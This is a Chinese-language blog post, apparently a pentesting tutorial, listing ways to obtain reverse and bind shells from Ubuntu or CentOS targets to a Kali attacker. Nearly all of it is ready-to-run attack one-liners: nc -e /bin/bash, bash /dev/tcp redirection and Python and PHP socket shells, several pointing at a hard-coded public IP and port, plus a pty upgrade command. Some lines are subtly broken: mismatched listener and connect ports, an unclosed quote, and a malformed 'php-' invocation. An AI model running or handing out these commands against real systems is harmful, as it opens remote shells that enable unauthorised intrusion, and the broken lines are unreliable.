反弹shell的几种方法
假如ubuntu、CentOS为目标服务器系统
kali为攻击者的系统,ip为:192.168.0.4,开放4444端口且没被占用
最终是将ubuntu、CentOS的shell反弹到kali上
正向反弹shell
ubuntu或者CentOS上面输入
nc -lvp 7777 -e /bin/bash
kali上输入
nc ip 7777
正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell。
需要目标机安装nc。
反向反弹shell
方法1:bash反弹
bash -i >& /dev/tcp/122.228.26.226/27317 0>&1
但首先需要在kali上使用nc监听端口:
nc -lvp 7777
此方法在ubuntu下不会反弹成功,CentOS可以反弹成功。
方法2:python反弹
反弹shell的命令如下:
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
首先,使用nc在kali上监听端口:
1 | nc -lvp 7777 |
在CentOS或者ubuntu下使用python去反向连接,输入:
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']); |
此方法ubuntu和Linux均反弹成功。
方法3
首先在kali上输入nc监听:
1 | nc -lvp 4444 |
在CentOS或者ubuntu 上使用nc去反向连接,命令如下:
1 | nc -e /bin/bash 122.228.26.226 27317 |
在kali机打开4444监听端口内网穿透出去,拿到公网ip端口攻击机输入反向连接然后看我们的kali机,可以看到我们已经连接成功
方法4:php反弹shell
首先在kali上输入:
1 | nc -lvp 7777 |
然后在目标机上输入:
1 | php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")' |
注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。
遇到反弹后不是正常的shell,可用命令:
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
转化为常规的shell。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Maodou!